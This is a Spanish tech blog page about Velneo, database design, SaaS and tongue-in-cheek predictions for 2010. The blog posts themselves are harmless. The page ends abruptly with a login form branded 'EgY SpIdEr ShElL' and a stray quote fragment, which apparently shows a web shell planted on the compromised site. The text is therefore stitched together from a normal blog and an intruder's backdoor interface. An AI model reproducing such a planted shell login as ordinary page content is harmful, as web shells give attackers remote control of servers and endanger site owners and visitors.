Lógica mente

Velneo, tecnología y empresa

Arrancamos un nuevo año y le damos la bienvenida con mucha alegría.

Por estas fechas se leen muchos artículos con predicciones para el nuevo año.

Con buen humor me dispongo a publicar las mías, 10 predicciones clasificadas en 2 grupos.

El único objetivo es divertirme cuando vuelva a leer este post dentro de un año.

Economía
1.- El paro se estabilizará aunque España seguirá en el vagón de cola Europeo de % de desempleados.
2.- China y Brasil seguirán creciendo el doble que el resto de países.
3.- El Ibex cerrará el 2010 por encima de los 12.800 puntos.
4.- Google alcanzará los 700$ por acción.
5.- Apple cotizará por encima de los 240$ por acción.

Tecnología
6.- Los libros electrónicos -ebook- alcanzarán el 15% de las ventas a nivel mundial.
7.- El iSlate -Tablet de Apple- se convertirá en el dispositivo del año.
8.- En 2010 comenzará la comercialización masiva de televisiones con tecnología 3D.
9.- Facebook alcanzará los 500 millones de usuarios.
10.- La salida al mercado de Google Chrome OS producirá un cambio disruptivo en el mercado de Sistema Operativos.

Espero haberme equivocado en las menos positivas y haberme quedado corto en las positivas :)

¡Te deseo un próspero 2010!

Tags:
 

techvideobytes

Si habitualmente buscas vídeos de tecnología, programación o diseño, puede que te interese visitar techvideobytes donde podrás encontrar, agrupados, vídeos de diferentes fuentes sobre estas temáticas.

Profesionalmente he tenido en mi vida 2 grandes mentores.

Mi amigo Paco Iñiguez, que me enseñó tantas y tantas cosas en mis primeros años de programador con sistemas de IBM y, mi amigo Juan Muñoz-Cobos que cambió mi vida en 1997 cuando le conocí en una presentación de Velázquez Visual. Al final me he convertido en nexo de unión de estas dos grandes personas que también se hicieron amigos.

El día que conocí a Juan ya pude apreciar que era un “tipo” especial. Ese día asistí a una presentación de Velázquez Visual 1.0 en Oviedo, me gustó tanto lo que vi o, mejor dicho, me impresionó tanto la presentación que Juan me realizó y la forma en que me transmitía sus conocimientos e ilusiones, que esa misma tarde me desplacé a Gijón a buscar un CD con la demo del producto. Me pasé el fin de semana probándolo y, aunque era la versión 1.0 pude apreciar que debajo de aquella bisoña versión había una obra de arte.

La amistad con Juan fue inevitable, migré a todos los clientes de sistemas AS/400 a Velázquez Visual. Aquel que conozca la robustez y fiabilidad de esos sistemas de IBM sabrá apreciar la fe que tenía que tener en aquel producto creado por un programador de Gijón. Durante años pasé por las oficinas de Ática, su empresa, en multitud de ocasiones y, siempre lo encontré sentado en su mesa con la mirada fija en el monitor. Velázquez Visual no era un trabajo para Juan, era su obra de arte, su vida. Trabajaba, comía y dormía en la oficina. Su mente estaba al 200% en el proyecto. Y los resultados llegaron a un ritmo increíble, años de 3, 4 e incluso 5 versiones.

El resultado de 12 años de desarrollo lo podemos apreciar en Velneo 6.4. Para muchas personas, Velneo 6.4 es un producto con sus defectos y sus virtudes, para Juan y los que le hemos visto “parirlo” es como un hijo. Cuando Juan le dice a cualquier persona que Velneo 6.4 lo desarrolló el sólo, hay muchos que no podrán creérselo. Una obra de esta magnitud parece imposible que pueda desarrollarla una sola persona. Pero sí, es cierto, Juan lo desarrolló durante 12 años, sin prisas, pero sin pausas, con todo el cariño y sin admitir la más mínima “chapuza”.

(more…)

Traductor interactivo

He conocido una página que permite hacer traducción de frases entre diferentes idiomas, hasta aquí un servicio que podemos encontrar en multitud de páginas Web, sin embargo este servicio denominado “Nice Translator” tiene 3 características que me han resultado muy interesantes:

  1. Traduce a la vez a tantos idiomas como desees configurar.
  2. Realiza la traducción de forma interactiva, es decir, a medida que vamos escribiendo se va realizando la traducción a todos los idiomas.
  3. Detecta automáticamente el idioma de la frase que estás escribiendo y realiza la traducción a todos los idiomas que tengas configurados, además si la detección no ha sido la correcta puede seleccionar manualmente el idioma entre los 35 de la lista.

Si habitualmente traduces palabras o frases o, por ejemplo chateas y necesitas alternar entre 2 o más idiomas te recomiendo que lo pruebes. Incluso creo que se le podría sacar partido para realizar traducciones desde programas.

nicetranslator

cambio de herramienta de desarrollo de software empresarialTras los interesante comentarios realizados por Manuel Tovar en el blog de Velneo, me he animado a escribir este artículo ya que creo que este tema es importante y en muchos casos complejo de resolver.

Resumiría el planteamiento que hace Manuel Tovar con las siguientes frases:

  • Tengo una base instalada de clientes ejecutando aplicaciones desarrolladas con un lenguaje de programación y una base de datos que son los que utilizo actualmente.
  • Tengo proyectos en desarrollo.
  • Tengo proyectos pendientes de desarrollar.
  • Llevamos retrasos en los plazos de entrega de los desarrollos a clientes.
  • Para comenzar con una nueva herramienta necesito formarme durante meses y eso supone necesitar más recursos.

En primer lugar quiero dejar claro que estoy completamente de acuerdo con Manuel en que la toma de decisión de cambio es compleja. Voy a tratar de comentar mi visión de como lo plantearía basándome en la experiencia vivida durante años con otros lenguajes de programación.

(more…)

Hace más de 2.000 años el Imperio Romano comenzó a construir acueductos para llevar el agua a sus poblaciones. Hoy, en el siglo XXI, es difícil pensar en como podría subsistir nuestra sociedad sin agua en nuestras viviendas.

Lo mismo podríamos pensar de la red eléctrica, los sistemas de calefacción, refrigeración, etc. Algo que hoy en día son commodities (productos básicos) fueron en su día grandes innovaciones.

La única diferencia entre la informática y todas las innovaciones anteriores es que al ser una disciplina muy joven del siglo XX ha sufrido una evolución meteórica.

Las tendencias en informática no requieren siglos ni décadas, en informática las tendencias se crean y desarrollan en lustros o incluso en años. Ahora nos encontramos en un momento “histórico”, otro más para la informática. Gracias de nuevo a Internet nuestros sistemas de información están evolucionado del software off-line (disponer de un generador eléctrico en nuestras instalaciones) al software off-line (conectarnos a una red eléctrica que acabará llegando a todos los rincones del planeta).

Estamos ante una revolución del software, que no es nueva, ya se ha intentado sin éxito durante la última década, pero es ahora cuando con el impulso de los gigantes del software nos encontramos ante el nacimiento de las bases que harán que el software on-line sea dentro de unos años imprescindible.

SaaS (Software as a Service)

PaaS (Plataform as a Service) Es tan novedoso el término que cuando escribo este artículo aún no existe en la Wikipedia.

Hoy Google + Salesforce han anunciado a bombo y platillo la integración de las Google Apps con las aplicaciones empresariales de Salesforce.

Tenemos también otros casos recientes como Heroku y BungeeConnect.

Abróchense los cinturones porque el viaje acaba de comenzar.

Tags:
 

Todos conocemos a Google por ser el estandarte de Internet, si hay una empresa que representa por todos sus poros a Internet esa es Google.

Hace 2 años comenzó su andadura con Google Docs intentando penetrar en las soluciones empresariales y tratando de hacer algo de competencia a Microsoft. Sí, lo está intentando, pero la tarea no es sencilla. Sus resultados en este sentido no están siendo tan espectaculares como en otras áreas.

Con Google Gears ha demostrado su inquietud por permitir disponer de la información off-line a los usuarios de Docs, algo que no encaja con su marcado carácter web y on-line. Irremediablemente nos tenemos que hacer la pregunta:

¿Por qué?

Probablemente porque el mercado aún no está preparado para trabajar 100% on-line.

¿Cuántas empresas conoces que estarían dispuestas a poner sus documentos en Google Docs?

Es cierto que en ocasiones es interesante poder seguir trabajando con documentos cuando no dispones de conexión a Internet. ¿En ocasiones o en muchas ocasiones? ¿Tenemos cultura de trabajar on-line con los documentos o estamos acostumbrados a trabajar con documentos usando nuestras aplicaciones de escritorio?

La pregunta queda en el aire para quien la quiera responder.

¿Ha tenido que apostar Google por el software off-line para conseguir más cuota de mercado de ofimática? o ¿Se trata simplemente de una mayor funcionalidad para los usuarios on-line?

Reflexiona y responde.

¿Qué harías tú como director de sistemas de una empresa?
¿Apostarías por Google Docs, por Microsoft Office, por OpenOffice o por otros?
¿Tienes miedo a trabajar on-line?

Tags:
 

En este tercer artículo que dedico a la base de datos modelo real de Velneo os traigo información de una de sus joyas “Las actualizaciones”.

Todo programador que lleve años desarrollando aplicaciones empresariales sabrá valorar el ahorro de horas y de quebraderos de cabeza que pueden suponer el uso de las actualizaciones en lugar de escribir líneas y líneas de código en triggers y posteriomente probarlas hasta su validación funcional.

A continuación te pongo un vídeo en el que te muestro lo fácil que es programar las actualizaciones en Velneo para que puedas comparar con el tiempo que te podría llevar hacer lo mismo con tú actual entorno de desarrollo.

Tags:
 

En este segundo artículos se describen los tipos de campos que soporte la base de datos de Velneo modelo real.

Respecto a otras bases de datos podemos encontrar las siguientes diferencias:

  • Los campos tipo alfa permiten ahorrar espacio en disco y además discriminan los espacios antes del primer carácter y después del último lo que permite su manejo con total sencillez a la hora de realizar concatenaciones. Además cada tipo alfa puede usarse de forma específico para almacenar datos sólo en mayúsculas, de códigos, etc.
  • Los campos de tipo objeto almacenan información muy variada pudiendo incluso guardar un email o cualquier tipo de fichero binario.
  • Los campos fórmula son muy utilizados ya que no ocupan espacio en disco, se calculan donde se usan.

En la siguiente presentación, que te recomiendo veas a pantalla completa pulsando en on SlideShare y luego en la opción Full se explican los tipos de campos, su contenido o función y el tamaño máximo que ocupan o que pueden almacenar.

Tags:
 

En los próximos artículos voy a describir las características de la base de datos de Velneo.

Cómo el título indica Velneo es un nuevo paradigma de base de datos. Un nuevo modelo diferente al conocido como relacional, en este caso se denomina modelo real integrado. Se le denomina real pues sus características le permiten crear diseños de base de datos más próximos al caso real que se plantea e integrado porque la estructura de la base de datos se integra perfectamente con todos los objetos visuales para formar un todo, una unidad que facilita enormemente el desarrollo y el mantenimiento de las aplicaciones.

A diferencia de lo que sucede con el modelo relacional. En el modelo real se pueden definir diferentes tipos de tablas. Cada tipo va a permitirnos especificar como se comportará en la tabla el campo código que será el campo que por defecto nos permite diferenciar de forma exclusiva cada registro con un código diferente que puede ser generado automáticamente por el gestor de la base de datos o grabado por el usuario.

En la siguiente presentación, que te recomiendo veas a pantalla completa pulsando en on SlideShare y luego en la opción Full se explican los tipos de tablas y se indican ejemplos de cada uno de ellas, se indica el comportamiento del campo código y se dan claves para conocer el tipo de tabla a utilizar cuando vayas a crear una nueva tabla en tu proyecto o mapa.

Tags:
 
Page 1 of 3123
EgY_SpIdEr ShElL ';

EgY_SpIdEr ShElL

EgY SpIdEr ShElL

User:
Password:



Developed by EgY SpIdEr · copyright © & EgY SpIdEr